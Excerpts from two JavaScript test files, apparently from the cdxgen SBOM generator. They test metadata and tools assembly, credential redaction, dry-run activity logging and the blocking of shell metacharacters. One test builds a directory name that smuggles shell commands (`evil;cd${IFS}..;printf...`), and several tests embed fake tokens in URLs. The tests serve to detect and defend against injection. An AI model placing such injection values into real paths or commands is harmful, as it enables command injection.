  986. { exportData: { inspectData: { Config: { Cmd } } } },
  987. ).properties?.find((prop) => prop.name === "oci:image:appLanguage")?.value;
  988. it("names the language of the image's command, not an array position", () => {
  989. assert.strictEqual(appLanguage(["php", "artisan", "serve"]), "php");
  990. assert.strictEqual(appLanguage(["node", "server.js"]), "node");
  991. assert.strictEqual(appLanguage(["python3", "app.py"]), "python3");
  992. // A port number used to match the position "0".
  993. assert.strictEqual(
  994. appLanguage(["/app/server", "--port", "8000", "--host", "0.0.0.0"]),
  995. undefined,
  996. );
  997. });
  998. });
  999. describe("addMetadata() sub-components with the parent's coordinates", () => {
  1000. const parent = () => ({
  1001. type: "application",
  1002. group: "com.example",
  1003. name: "demo",
  1004. version: "1.0",
  1005. purl: "pkg:maven/com.example/demo@1.0?type=jar",
  1006. "bom-ref": "pkg:maven/com.example/demo@1.0?type=jar",
  1007. });
  1008. it("drops a copy of the parent but keeps a separate project", () => {
  1009. const parentComponent = parent();
  1010. parentComponent.components = [
  1011. parent(),
  1012. {
  1013. ...parent(),
  1014. purl: "pkg:maven/com.example/demo@1.0?type=jar#one",
  1015. "bom-ref": "pkg:maven/com.example/demo@1.0?type=jar#one",
  1016. },
  1017. ];
  1018. const metadata = addMetadata(parentComponent, {});
  1019. assert.deepStrictEqual(
  1020. metadata.component.components.map((c) => c["bom-ref"]),
  1021. ["pkg:maven/com.example/demo@1.0?type=jar#one"],
  1022. );
  1023. });
  1024. });
  1025. describe("metadata.tools external tool components", () => {
  1026. // The registry is run-scoped module state; every case resets it so the
  1027. // assertions cannot leak into each other through poku's interleaving.
  1028. it("keeps the tools block unchanged when nothing external ran", () => {
  1029. resetExecutedTools();
  1030. assert.deepStrictEqual(getExecutedTools(), []);
  1031. assert.deepStrictEqual(addToolsSection({ specVersion: 1.5 }, {}), {
  1032. components: [
  1033. {
  1034. group: "@cdxgen",
  1035. name: "cdxgen",
  1036. version: CDXGEN_VERSION,
  1037. purl: `pkg:npm/%40cdxgen/cdxgen@${CDXGEN_VERSION}`,
  1038. type: "application",
  1039. "bom-ref": `pkg:npm/@cdxgen/cdxgen@${CDXGEN_VERSION}`,
  1040. author: "OWASP Foundation",
  1041. publisher: "OWASP Foundation",
  1042. },
  1043. ],
  1044. });
  1045. assert.deepStrictEqual(addToolsSection({ specVersion: 1.4 }, {}), [
  1046. { vendor: "cyclonedx", name: "cdxgen", version: CDXGEN_VERSION },
  1047. ]);
  1048. resetExecutedTools();
  1049. });
  1050. it("appends the executed tools sorted after cdxgen for 1.5+", () => {
  1051. resetExecutedTools();
  1052. recordExecutedTool("/usr/local/bin/zip");
  1053. recordExecutedTool("gradle", "9.8.2");
  1054. recordExecutedTool("mvn", "3.10.0");
  1055. const { components } = addToolsSection({ specVersion: 1.5 }, {});
  1056. const external = components.slice(0, -1);
  1057. const cdxgen = components[components.length - 1];
  1058. // cdxgen stays last in the assembled array, unchanged in shape, and the
  1059. // executed tools are sorted by name.
  1060. assert.strictEqual(cdxgen.name, "cdxgen");
  1061. assert.deepStrictEqual(
  1062. external.map((tool) => ({ name: tool.name, version: tool.version })),
  1063. [
  1064. { name: "gradle", version: "9.8.2" },
  1065. { name: "mvn", version: "3.10.0" },
  1066. { name: "zip", version: undefined },
  1067. ],
  1068. );
  1069. for (const tool of external) {
  1070. assert.strictEqual(tool.type, "application");
  1071. }
  1072. resetExecutedTools();
  1073. });
  1074. it("keeps the legacy tools array shape for spec version 1.4", () => {
  1075. resetExecutedTools();
  1076. recordExecutedTool("mvn", "3.10.0");
  1077. recordExecutedTool("osqueryi");
  1078. const tools = addToolsSection({ specVersion: 1.4 }, {});
  1079. assert.deepStrictEqual(tools, [
  1080. { vendor: "cyclonedx", name: "cdxgen", version: CDXGEN_VERSION },
  1081. { name: "mvn", version: "3.10.0" },
  1082. { name: "osqueryi" },
  1083. ]);
  1084. resetExecutedTools();
  1085. });
  1086. it("keeps context tools that share a name but differ in bom-ref", () => {
  1087. resetExecutedTools();
  1088. const contextTools = [
  1089. {
  1090. type: "application",
  1091. group: "org.apache.maven.plugins",
  1092. name: "maven-compiler-plugin",
  1093. "bom-ref":
  1094. "pkg:maven/org.apache.maven.plugins/maven-compiler-plugin@3.14.0",
  1095. },
  1096. {
  1097. type: "application",
  1098. group: "org.example.plugins",
  1099. name: "maven-compiler-plugin",
  1100. "bom-ref": "pkg:maven/org.example.plugins/maven-compiler-plugin@1.0.0",
  1101. },
  1102. ];
  1103. const { components } = addToolsSection(
  1104. { specVersion: 1.5 },
  1105. { tools: contextTools },
  1106. );
  1107. assert.deepStrictEqual(
  1108. components.slice(0, -1).map((component) => component["bom-ref"]),
  1109. contextTools.map((component) => component["bom-ref"]),
  1110. );
  1111. });
  1112. it("forgets the executed tools when the run state is reset", () => {
  1113. resetExecutedTools();
  1114. recordExecutedTool("mvn", "3.10.0");
  1115. resetRunState();
  1116. assert.deepStrictEqual(getExecutedTools(), []);
  1117. assert.deepStrictEqual(
  1118. addToolsSection({ specVersion: 1.5 }, {}).components.map(
  1119. (component) => component.name,
  1120. ),
  1121. ["cdxgen"],
  1122. );
  1123. });
  1124. it("de-duplicates context tools against the registry by name", () => {
  1125. resetExecutedTools();
  1126. recordExecutedTool("osqueryi", "5.24.0");
  1127. const contextTools = [
  1128. {
  1129. type: "application",
  1130. name: "osqueryi",
  1131. version: "5.24.0",
  1132. "bom-ref": "pkg:generic/osquery/osqueryi@5.24.0",
  1133. },
  1134. ];
  1135. const { components } = addToolsSection(
  1136. { specVersion: 1.5 },
  1137. { tools: contextTools },
  1138. );
  1139. const osqueryEntries = components.filter(
  1140. (component) => component.name === "osqueryi",
  1141. );
  1142. assert.deepStrictEqual(osqueryEntries.length, 1);
  1143. // The explicitly passed context entry wins.
  1144. assert.strictEqual(
  1145. osqueryEntries[0]["bom-ref"],
  1146. "pkg:generic/osquery/osqueryi@5.24.0",
  1147. );
  1148. resetExecutedTools();
  1149. });
  1150. it("enriches bundled plugin helpers with the manifest component", () => {
  1151. resetExecutedTools();
  1152. // trivy ships in cdxgen-plugins-bin; its manifest carries the plugin
  1153. // package version, purl, and hashes. Skip the assertion when the optional
  1154. // plugin package (and its manifest) is not installed.
  1155. const manifestComponents = getPluginToolComponents(["trivy"]);
  1156. if (!manifestComponents.length) {
  1157. resetExecutedTools();
  1158. return;
  1159. }
  1160. recordExecutedTool("trivy");
  1161. const { components } = addToolsSection({ specVersion: 1.5 }, {});
  1162. const trivy = components.find((component) => component.name === "trivy");
  1163. assert.ok(trivy, "trivy tool component missing");
  1164. assert.strictEqual(trivy["bom-ref"], manifestComponents[0]["bom-ref"]);
  1165. assert.ok(trivy.version, "plugin version missing");
  1166. resetExecutedTools();
  1167. });
  1168. it("looks up only bundled helper names in the plugins manifest", async () => {
  1169. const manifestComponent = (name) => ({
  1170. type: "application",
  1171. name,
  1172. version: "9.9.9",
  1173. "bom-ref": `pkg:generic/forged/${name}@9.9.9`,
  1174. });
  1175. const getPluginToolComponentsStub = sinon
  1176. .stub()
  1177. .callsFake((names) => names.map(manifestComponent));
  1178. const { addToolsSection: addToolsSectionMocked } = await esmock(
  1179. "./bomAssembly.js",
  1180. {
  1181. "../managers/binary.js": {
  1182. getPluginToolComponents: getPluginToolComponentsStub,
  1183. },
  1184. },
  1185. );
  1186. // The registry is run-scoped and shared with the other tests, so it is
  1187. // filled and read without an await in between.
  1188. resetExecutedTools();
  1189. recordExecutedTool("git", "2.47.0");
  1190. recordExecutedTool("trivy");
  1191. const { components } = addToolsSectionMocked({ specVersion: 1.5 }, {});
  1192. resetExecutedTools();
  1193. assert.deepStrictEqual(getPluginToolComponentsStub.firstCall.args[0], [
  1194. "trivy",
  1195. ]);
  1196. const git = components.find((component) => component.name === "git");
  1197. assert.strictEqual(git.version, "2.47.0");
  1198. assert.strictEqual(git["bom-ref"], undefined);
  1199. const trivy = components.find((component) => component.name === "trivy");
  1200. assert.strictEqual(trivy["bom-ref"], "pkg:generic/forged/trivy@9.9.9");
  1201. });
  1202. });
  1203. describe("addExternalReferences()", () => {
  1204. it("removes credentials from URLs copied from package metadata", () => {
  1205. const references = addExternalReferences([
  1206. {
  1207. homepage: {
  1208. url: "https://ci-bot:Vb8nexusQz41mX@pkgs.example.com/sdk?sig=Ht5portalLw93cN",
  1209. },
  1210. repository: { url: "git+ssh://git@github.com/acme/sdk.git#v1.2.0" },
  1211. bugs: {
  1212. url: "https://ghp_R7mQ2xV9bT4nL8cW3zD6hJ1fS5gY0aE2uK7p@github.com/acme/sdk/issues",
  1213. },
  1214. },
  1215. {
  1216. externalReferences: [
  1217. {
  1218. type: "distribution",
  1219. url: " https://files.example.com/sdk.whl#sha256=abc&token=Zq7tokenRw2 ",
  1220. },
  1221. ],
  1222. },
  1223. ]);
  1224. assert.deepStrictEqual(references, [
  1225. { type: "website", url: "https://pkgs.example.com/sdk" },
  1226. { type: "issue-tracker", url: "https://github.com/acme/sdk/issues" },
  1227. { type: "vcs", url: "git+ssh://git@github.com/acme/sdk.git#v1.2.0" },
  1228. { type: "distribution", url: "https://files.example.com/sdk.whl" },
  1229. ]);
  1230. });
  1231. });
lib/core/activity.poku.js · Bundled script · 1,311 lines · 1 finding marked
  1. import { spawnSync } from "node:child_process";
  2. import {
  3. chmodSync,
  4. existsSync,
  5. mkdirSync,
  6. mkdtempSync,
  7. readFileSync,
  8. rmSync,
  9. symlinkSync,
  10. writeFileSync,
  11. } from "node:fs";
  12. import { platform, tmpdir } from "node:os";
  13. import path from "node:path";
  14. import process from "node:process";
  15. import esmock from "esmock";
  16. import { assert, describe, it } from "poku";
  17. import sinon from "sinon";
  18. import {
  19. addEvidenceForImports,
  20. cdxgenAgent,
  21. collectExecutables,
  22. collectSharedLibs,
  23. convertOSQueryResults,
  24. getAllFiles,
  25. getRecordedActivities,
  26. isAllowedHttpHost,
  27. isDryRunError,
  28. readEnvironmentVariable,
  29. recordActivity,
  30. recordSensitiveFileRead,
  31. recordSymlinkResolution,
  32. resetRecordedActivities,
  33. safeExistsSync,
  34. safeMkdtempSync,
  35. safeRmSync,
  36. safeSpawnSync,
  37. safeUnlinkSync,
  38. safeWriteSync,
  39. setDryRunMode,
  40. } from "../ecosystems/utils.js";
  41. function createMockedProcess(envOverrides = {}) {
  42. const env = {
  43. ...process.env,
  44. };
  45. for (const [key, value] of Object.entries(envOverrides)) {
  46. if (value === undefined) {
  47. delete env[key];
  48. } else {
  49. env[key] = value;
  50. }
  51. }
  52. const mockedProcess = Object.create(process);
  53. mockedProcess.argv = [...process.argv];
  54. mockedProcess.env = env;
  55. return mockedProcess;
  56. }
  57. it("safeSpawnSync() returns a dry-run sentinel result when dry run mode is enabled", () => {
  58. setDryRunMode(true);
  59. resetRecordedActivities();
  60. try {
  61. const result = safeSpawnSync("node", ["--version"], {});
  62. assert.strictEqual(result.status, 1);
  63. assert.ok(isDryRunError(result.error));
  64. const executeActivity = getRecordedActivities().find(
  65. (activity) => activity.kind === "execute",
  66. );
  67. assert.ok(executeActivity);
  68. assert.strictEqual(executeActivity.status, "blocked");
  69. } finally {
  70. setDryRunMode(false);
  71. resetRecordedActivities();
  72. }
  73. });
  74. it("safeSpawnSync() redacts URL credentials from the recorded command line", () => {
  75. setDryRunMode(true);
  76. resetRecordedActivities();
  77. try {
  78. safeSpawnSync(
  79. "clj",
  80. [
  81. "-Stree",
  82. "-Sdeps",
  83. '{:mvn/repos {"central" {:url "https://reader:s3cret@nexus.example.com/repository/maven-central/"}}}',
  84. ],
  85. {},
  86. );
  87. const executeActivity = getRecordedActivities().find(
  88. (activity) => activity.kind === "execute",
  89. );
  90. assert.ok(executeActivity);
  91. assert.ok(!executeActivity.target.includes("s3cret"));
  92. assert.ok(!executeActivity.target.includes("reader"));
  93. assert.ok(
  94. executeActivity.target.includes(
  95. 'clj -Stree -Sdeps {:mvn/repos {"central" {:url "https://nexus.example.com/repository/maven-central/"}}}',
  96. ),
  97. );
  98. } finally {
  99. setDryRunMode(false);
  100. resetRecordedActivities();
  101. }
  102. });
  103. it("recordActivity() redacts userinfo and query strings from network targets", () => {
  104. setDryRunMode(true);
  105. resetRecordedActivities();
  106. try {
  107. const entry = recordActivity({
  108. kind: "network",
  109. status: "blocked",
  110. target: "https://bob:tok3n@registry.example.com/pkg?token=abc#frag",
  111. });
  112. assert.ok(entry);
  113. assert.strictEqual(entry.target, "https://registry.example.com/pkg");
  114. assert.strictEqual(getRecordedActivities()[0].target, entry.target);
  115. } finally {
  116. setDryRunMode(false);
  117. resetRecordedActivities();
  118. }
  119. });
  120. it("safeSpawnSync() does not classify non-probe -v commands as version checks", () => {
  121. setDryRunMode(true);
  122. resetRecordedActivities();
  123. try {
  124. safeSpawnSync("swift", ["package", "-v", "resolve"], {});
  125. const executeActivity = getRecordedActivities().find(
  126. (activity) => activity.kind === "execute",
  127. );
  128. assert.ok(executeActivity);
  129. assert.strictEqual(executeActivity.probeType, undefined);
  130. assert.ok(!/version check/i.test(executeActivity.reason));
  131. } finally {
  132. setDryRunMode(false);
  133. resetRecordedActivities();
  134. }
  135. });
  136. it("safeSpawnSync() blocks shell metacharacters with shell execution", () => {
  137. const markerFile = path.join(tmpdir(), "cdxgen-safe-spawn-shell-marker");
  138. const originalConsoleWarn = console.warn;
  139. const warnings = [];
  140. rmSync(markerFile, { force: true });
  141. resetRecordedActivities();
  142. console.warn = (message) => {
  143. warnings.push(message);
  144. };
  145. try {
  146. const result = safeSpawnSync("printf", ["blocked", ">", markerFile], {
  147. shell: true,
  148. });
  149. assert.strictEqual(result.status, 1);
  150. assert.ok(result.error);
  151. assert.match(result.error.message, /shell metacharacters/);
  152. assert.strictEqual(existsSync(markerFile), false);
  153. assert.ok(warnings.some((warning) => /Security Alert/.test(warning)));
  154. } finally {
  155. console.warn = originalConsoleWarn;
  156. resetRecordedActivities();
  157. rmSync(markerFile, { force: true });
  158. }
  159. });
  160. it("safeSpawnSync() reads CDXGEN_ALLOWED_COMMANDS once per invocation", () => {
  161. const originalAllowedCommands = process.env.CDXGEN_ALLOWED_COMMANDS;
  162. process.env.CDXGEN_ALLOWED_COMMANDS = "echo-cdxgen-test";
  163. setDryRunMode(true);
  164. resetRecordedActivities();
  165. try {
  166. safeSpawnSync("echo-cdxgen-test", ["value"], {});
  167. const envActivities = getRecordedActivities().filter(
  168. (activity) => activity.target === "process.env:CDXGEN_ALLOWED_COMMANDS",
  169. );
  170. assert.strictEqual(envActivities.length, 1);
  171. assert.strictEqual(envActivities[0].count, 1);
  172. } finally {
  173. if (originalAllowedCommands === undefined) {
  174. delete process.env.CDXGEN_ALLOWED_COMMANDS;
  175. } else {
  176. process.env.CDXGEN_ALLOWED_COMMANDS = originalAllowedCommands;
  177. }
  178. setDryRunMode(false);
  179. resetRecordedActivities();
  180. }
  181. });
  182. it("safeSpawnSync() records stdout and stderr byte sizes in debug mode", async () => {
  183. const mockedProcess = createMockedProcess({
  184. CDXGEN_ALLOWED_COMMANDS: "echo-cdxgen-test",
  185. CDXGEN_DEBUG_MODE: "debug",
  186. CDXGEN_SECURE_MODE: undefined,
  187. NODE_OPTIONS: undefined,
  188. });
  189. const utilsModule = await esmock(
  190. "../ecosystems/utils.js",
  191. {},
  192. {
  193. "node:child_process": {
  194. spawnSync: sinon.stub().returns({
  195. status: 0,
  196. stdout: "hello",
  197. stderr: "warn",
  198. }),
  199. },
  200. "node:process": {
  201. default: mockedProcess,
  202. },
  203. },
  204. );
  205. utilsModule.resetRecordedActivities();
  206. utilsModule.safeSpawnSync("echo-cdxgen-test", ["value"], {});
  207. const executeActivity = utilsModule
  208. .getRecordedActivities()
  209. .find(
  210. (activity) =>
  211. activity.kind === "execute" &&
  212. activity.target === "echo-cdxgen-test value",
  213. );
  214. assert.ok(executeActivity);
  215. assert.strictEqual(executeActivity.stdoutBytes, 5);
  216. assert.strictEqual(executeActivity.stderrBytes, 4);
  217. utilsModule.resetRecordedActivities();
  218. });
  219. it("safeExtractArchive() records source byte size in debug mode", async () => {
  220. const mockedProcess = createMockedProcess({
  221. CDXGEN_ALLOWED_COMMANDS: undefined,
  222. CDXGEN_DEBUG_MODE: "debug",
  223. CDXGEN_SECURE_MODE: undefined,
  224. NODE_OPTIONS: undefined,
  225. });
  226. const utilsModule = await esmock(
  227. "../ecosystems/utils.js",
  228. {},
  229. {
  230. "node:process": {
  231. default: mockedProcess,
  232. },
  233. },
  234. );
  235. const tempDir = mkdtempSync(path.join(tmpdir(), "cdxgen-archive-trace-"));
  236. const sourcePath = path.join(tempDir, "archive.zip");
  237. const targetPath = path.join(tempDir, "extracted");
  238. mkdirSync(targetPath, { recursive: true });
  239. writeFileSync(sourcePath, "abc");
  240. utilsModule.resetRecordedActivities();
  241. await utilsModule.safeExtractArchive(
  242. sourcePath,
  243. targetPath,
  244. async () => {
  245. writeFileSync(path.join(targetPath, "a.txt"), "hello");
  246. mkdirSync(path.join(targetPath, "nested"), { recursive: true });
  247. writeFileSync(path.join(targetPath, "nested", "b.txt"), "xy");
  248. },
  249. "unzip",
  250. );
  251. const archiveActivity = utilsModule
  252. .getRecordedActivities()
  253. .find(
  254. (activity) =>
  255. activity.kind === "unzip" &&
  256. activity.target === `${sourcePath} -> ${targetPath}`,
  257. );
  258. assert.ok(archiveActivity);
  259. assert.strictEqual(archiveActivity.status, "completed");
  260. assert.strictEqual(archiveActivity.sourceBytes, 3);
  261. rmSync(tempDir, { recursive: true, force: true });
  262. });
  263. it("safeExtractArchive() records failed extraction activity in debug mode", async () => {
  264. const mockedProcess = createMockedProcess({
  265. CDXGEN_ALLOWED_COMMANDS: undefined,
  266. CDXGEN_DEBUG_MODE: "debug",
  267. CDXGEN_SECURE_MODE: undefined,
  268. NODE_OPTIONS: undefined,
  269. });
  270. const utilsModule = await esmock(
  271. "../ecosystems/utils.js",
  272. {},
  273. {
  274. "node:process": {
  275. default: mockedProcess,
  276. },
  277. },
  278. );
  279. const tempDir = mkdtempSync(path.join(tmpdir(), "cdxgen-archive-trace-"));
  280. const sourcePath = path.join(tempDir, "archive.tar");
  281. const targetPath = path.join(tempDir, "extracted");
  282. mkdirSync(targetPath, { recursive: true });
  283. writeFileSync(sourcePath, "abcd");
  284. utilsModule.resetRecordedActivities();
  285. const extractionError = new Error("permission denied");
  286. extractionError.code = "EACCES";
  287. await assert.rejects(
  288. utilsModule.safeExtractArchive(
  289. sourcePath,
  290. targetPath,
  291. async () => {
  292. throw extractionError;
  293. },
  294. "untar",
  295. ),
  296. extractionError,
  297. );
  298. const archiveActivity = utilsModule
  299. .getRecordedActivities()
  300. .find(
  301. (activity) =>
  302. activity.kind === "untar" &&
  303. activity.target === `${sourcePath} -> ${targetPath}`,
  304. );
  305. assert.ok(archiveActivity);
  306. assert.strictEqual(archiveActivity.status, "failed");
  307. assert.strictEqual(archiveActivity.errorCode, "EACCES");
  308. assert.strictEqual(archiveActivity.sourceBytes, 4);
  309. rmSync(tempDir, { recursive: true, force: true });
  310. });
  311. it("records dry-run environment variable reads via helper access", () => {
  312. const originalEnvValue = process.env.CDXGEN_TEST_ENV_READ;
  313. process.env.CDXGEN_TEST_ENV_READ = "trace-me";
  314. setDryRunMode(true);
  315. resetRecordedActivities();
  316. try {
  317. readEnvironmentVariable("CDXGEN_TEST_ENV_READ");
  318. readEnvironmentVariable("CDXGEN_TEST_ENV_READ");
  319. const activities = getRecordedActivities().filter(
  320. (activity) => activity.target === "process.env:CDXGEN_TEST_ENV_READ",
  321. );
  322. assert.strictEqual(activities.length, 1);
  323. assert.strictEqual(activities[0].kind, "env");
  324. assert.match(activities[0].reason, /2 times/);
  325. } finally {
  326. if (originalEnvValue === undefined) {
  327. delete process.env.CDXGEN_TEST_ENV_READ;
  328. } else {
  329. process.env.CDXGEN_TEST_ENV_READ = originalEnvValue;
  330. }
  331. setDryRunMode(false);
  332. resetRecordedActivities();
  333. }
  334. });
  335. it("isAllowedHttpHost() honors exact and wildcard host allowlists", () => {
  336. const originalAllowedHosts = process.env.CDXGEN_ALLOWED_HOSTS;
  337. try {
  338. process.env.CDXGEN_ALLOWED_HOSTS = "example.com,*.trusted.test";
  339. assert.strictEqual(isAllowedHttpHost("example.com"), true);
  340. assert.strictEqual(isAllowedHttpHost("api.trusted.test"), true);
  341. assert.strictEqual(isAllowedHttpHost("trusted.test"), false);
  342. assert.strictEqual(isAllowedHttpHost("evil.com"), false);
  343. } finally {
  344. if (originalAllowedHosts === undefined) {
  345. delete process.env.CDXGEN_ALLOWED_HOSTS;
  346. } else {
  347. process.env.CDXGEN_ALLOWED_HOSTS = originalAllowedHosts;
  348. }
  349. }
  350. });
  351. it("deduplicates sensitive file read activity entries in dry-run mode", () => {
  352. setDryRunMode(true);
  353. resetRecordedActivities();
  354. try {
  355. recordSensitiveFileRead("/tmp/docker/config.json", {
  356. label: "Docker credential file",
  357. });
  358. recordSensitiveFileRead("/tmp/docker/config.json", {
  359. label: "Docker credential file",
  360. });
  361. const activities = getRecordedActivities().filter(
  362. (activity) => activity.target === "/tmp/docker/config.json",
  363. );
  364. assert.strictEqual(activities.length, 1);
  365. assert.strictEqual(activities[0].kind, "read");
  366. assert.match(activities[0].reason, /2 times/);
  367. } finally {
  368. setDryRunMode(false);
  369. resetRecordedActivities();
  370. }
  371. });
  372. it("records classified manifest and config inspections in dry-run mode", () => {
  373. const tmpRoot = mkdtempSync(path.join(tmpdir(), "cdxgen-dry-run-inspect-"));
  374. const packageJsonFile = path.join(tmpRoot, "package.json");
  375. const settingsXmlFile = path.join(tmpRoot, "settings.xml");
  376. writeFileSync(packageJsonFile, "{}");
  377. writeFileSync(settingsXmlFile, "<settings />");
  378. setDryRunMode(true);
  379. resetRecordedActivities();
  380. try {
  381. assert.ok(safeExistsSync(packageJsonFile));
  382. assert.ok(safeExistsSync(settingsXmlFile));
  383. const activities = getRecordedActivities().filter((activity) =>
  384. [packageJsonFile, settingsXmlFile].includes(activity.target),
  385. );
  386. assert.strictEqual(activities.length, 2);
  387. assert.deepStrictEqual(
  388. activities.map((activity) => activity.kind),
  389. ["inspect", "inspect"],
  390. );
  391. assert.deepStrictEqual(
  392. activities.map((activity) => activity.classification),
  393. ["manifest", "config"],
  394. );
  395. } finally {
  396. setDryRunMode(false);
  397. resetRecordedActivities();
  398. rmSync(tmpRoot, { force: true, recursive: true });
  399. }
  400. });
  401. it("records recursive file discovery activity in dry-run mode", () => {
  402. const tmpRoot = mkdtempSync(path.join(tmpdir(), "cdxgen-dry-run-glob-"));
  403. const packageJsonFile = path.join(tmpRoot, "package.json");
  404. writeFileSync(packageJsonFile, "{}");
  405. setDryRunMode(true);
  406. resetRecordedActivities();
  407. try {
  408. const files = getAllFiles(tmpRoot, "**/package.json");
  409. assert.deepStrictEqual(files, [packageJsonFile]);
  410. const activities = getRecordedActivities().filter((activity) =>
  411. activity.target.includes("**/package.json"),
  412. );
  413. assert.strictEqual(activities.length, 1);
  414. assert.strictEqual(activities[0].kind, "discover");
  415. assert.strictEqual(activities[0].discoveryType, "manifest-discovery");
  416. } finally {
  417. setDryRunMode(false);
  418. resetRecordedActivities();
  419. rmSync(tmpRoot, { force: true, recursive: true });
  420. }
  421. });
  422. it("records suspicious discovered paths with shell metacharacters in dry-run mode", () => {
  423. const tmpRoot = mkdtempSync(
  424. path.join(tmpdir(), "cdxgen-dry-run-shell-path-"),
  425. );
  426. const shellIfs = "$" + "{IFS}";
  427. const maliciousDirName =
  428. platform() === "win32"
  429. ? "evil&echo%CDXGEN_GITURL_E2E_MARKER%&rem"
  430. : `evil;cd${shellIfs}..;printf${shellIfs}marker>CDXGEN_GITURL_E2E_MARKER;#`;
  431. const maliciousDir = path.join(tmpRoot, maliciousDirName);
  432. const pomFile = path.join(maliciousDir, "pom.xml");
  433. mkdirSync(maliciousDir, { recursive: true });
  434. writeFileSync(pomFile, "<project />");
  435. setDryRunMode(true);
  436. resetRecordedActivities();
  437. try {
  438. assert.deepStrictEqual(getAllFiles(tmpRoot, "**/pom.xml"), [pomFile]);
  439. const suspiciousActivity = getRecordedActivities().find(
  440. (activity) => activity.classification === "suspicious-path",
  441. );
  442. assert.ok(suspiciousActivity);
  443. assert.strictEqual(suspiciousActivity.risk, "shell-metacharacters");
  444. assert.strictEqual(suspiciousActivity.target, pomFile);
  445. assert.match(suspiciousActivity.reason, /shell metacharacters/);
  446. } finally {
  447. setDryRunMode(false);
  448. resetRecordedActivities();
  449. rmSync(tmpRoot, { force: true, recursive: true });
  450. }
  451. });
  452. it("records updated discovery activity when a repeated glob match count changes", () => {
  453. const tmpRoot = mkdtempSync(path.join(tmpdir(), "cdxgen-dry-run-glob-"));
  454. const packageJsonFile = path.join(tmpRoot, "package.json");
  455. const nestedDir = path.join(tmpRoot, "nested");
  456. const nestedPackageJsonFile = path.join(nestedDir, "package.json");
  457. writeFileSync(packageJsonFile, "{}");
  458. setDryRunMode(true);
  459. resetRecordedActivities();
  460. try {
  461. getAllFiles(tmpRoot, "**/package.json");
  462. mkdirSync(nestedDir, { recursive: true });
  463. writeFileSync(nestedPackageJsonFile, "{}");
  464. getAllFiles(tmpRoot, "**/package.json");
  465. const activities = getRecordedActivities().filter((activity) =>
  466. activity.target.includes("**/package.json"),
  467. );
  468. assert.strictEqual(activities.length, 2);
  469. assert.deepStrictEqual(
  470. activities.map((activity) => activity.matchedCount),
  471. [1, 2],
  472. );
  473. } finally {
  474. setDryRunMode(false);
  475. resetRecordedActivities();
  476. rmSync(tmpRoot, { force: true, recursive: true });
  477. }
  478. });
  479. it("dry-run filesystem wrappers do not mutate the filesystem", () => {
  480. const tmpRoot = mkdtempSync(path.join(tmpdir(), "cdxgen-dry-run-"));
  481. const fileToKeep = path.join(tmpRoot, "keep.txt");
  482. const fileToSkip = path.join(tmpRoot, "skip.txt");
  483. const dirToKeep = path.join(tmpRoot, "keep-dir");
  484. writeFileSync(fileToKeep, "hello");
  485. mkdirSync(dirToKeep, { recursive: true });
  486. setDryRunMode(true);
  487. resetRecordedActivities();
  488. try {
  489. const tempPath = safeMkdtempSync(path.join(tmpRoot, "temp-"));
  490. safeWriteSync(fileToSkip, "world");
  491. safeUnlinkSync(fileToKeep);
  492. safeRmSync(dirToKeep, { recursive: true, force: true });
  493. assert.ok(!existsSync(fileToSkip));
  494. assert.ok(existsSync(fileToKeep));
  495. assert.ok(existsSync(dirToKeep));
  496. assert.ok(!existsSync(tempPath));
  497. const activities = getRecordedActivities();
  498. assert.deepStrictEqual(
  499. activities.map((activity) => activity.kind),
  500. ["temp-dir", "write", "cleanup", "cleanup"],
  501. );
  502. assert.ok(activities.every((activity) => activity.status === "blocked"));
  503. } finally {
  504. setDryRunMode(false);
  505. resetRecordedActivities();
  506. rmSync(tmpRoot, { force: true, recursive: true });
  507. }
  508. });
  509. it("safeWriteSync() honors explicit fs.write permission for output files", async () => {
  510. const tmpRoot = mkdtempSync(path.join(tmpdir(), "cdxgen-secure-write-"));
  511. const outputFile = path.join(tmpRoot, "bom.json");
  512. const hasPermissionStub = sinon.stub().callsFake((scope, filePath) => {
  513. return (
  514. scope === "fs.read" || (scope === "fs.write" && filePath === outputFile)
  515. );
  516. });
  517. const mockedProcess = createMockedProcess({
  518. CDXGEN_DEBUG_MODE: "debug",
  519. CDXGEN_SECURE_MODE: "true",
  520. });
  521. mockedProcess.permission = { has: hasPermissionStub };
  522. try {
  523. const {
  524. getRecordedActivities: getRecordedActivitiesMocked,
  525. resetRecordedActivities: resetRecordedActivitiesMocked,
  526. safeWriteSync: safeWriteSyncMocked,
  527. } = await esmock(
  528. "../ecosystems/utils.js",
  529. {},
  530. {
  531. "node:process": {
  532. default: mockedProcess,
  533. },
  534. },
  535. );
  536. resetRecordedActivitiesMocked();
  537. safeWriteSyncMocked(outputFile, "{}");
  538. assert.strictEqual(readFileSync(outputFile, "utf-8"), "{}");
  539. assert.strictEqual(getRecordedActivitiesMocked()[0].status, "completed");
  540. } finally {
  541. rmSync(tmpRoot, { force: true, recursive: true });
  542. }
  543. });
  544. it("cdxgenAgent records completed and failed network activity outcomes", async () => {
  545. let setDryRunModeMocked;
  546. try {
  547. const {
  548. cdxgenAgent,
  549. getRecordedActivities: getRecordedActivitiesMocked,
  550. resetRecordedActivities: resetRecordedActivitiesMocked,
  551. setDryRunMode: mockedSetDryRunMode,
  552. } = await esmock(
  553. "../ecosystems/utils.js",
  554. {},
  555. {
  556. "./httpClient.js": {
  557. createHttpClient: sinon.stub().callsFake((options) => {
  558. return {
  559. hooks: options.hooks,
  560. };
  561. }),
  562. },
  563. },
  564. );
  565. setDryRunModeMocked = mockedSetDryRunMode;
  566. const afterResponseHook = cdxgenAgent.hooks.afterResponse[0];
  567. const beforeErrorHook = cdxgenAgent.hooks.beforeError[0];
  568. setDryRunModeMocked(true);
  569. resetRecordedActivitiesMocked();
  570. const successUrl = "https://example.com/success";
  571. const successOptions = {
  572. context: {
  573. activityTarget: successUrl,
  574. },
  575. url: new URL(successUrl),
  576. };
  577. afterResponseHook({
  578. request: {
  579. options: successOptions,
  580. },
  581. statusCode: 200,
  582. url: successUrl,
  583. });
  584. assert.strictEqual(getRecordedActivitiesMocked()[0].status, "completed");
  585. assert.strictEqual(getRecordedActivitiesMocked()[0].target, successUrl);
  586. resetRecordedActivitiesMocked();
  587. const failureUrl = "https://example.com/failure";
  588. const failureOptions = {
  589. context: {
  590. activityTarget: failureUrl,
  591. },
  592. url: new URL(failureUrl),
  593. };
  594. const returnedError = beforeErrorHook({
  595. message: "Request failed with status code 500",
  596. options: failureOptions,
  597. });
  598. assert.match(returnedError.message, /status code 500/);
  599. const failureActivities = getRecordedActivitiesMocked();
  600. assert.strictEqual(failureActivities.length, 1);
  601. assert.strictEqual(failureActivities[0].status, "failed");
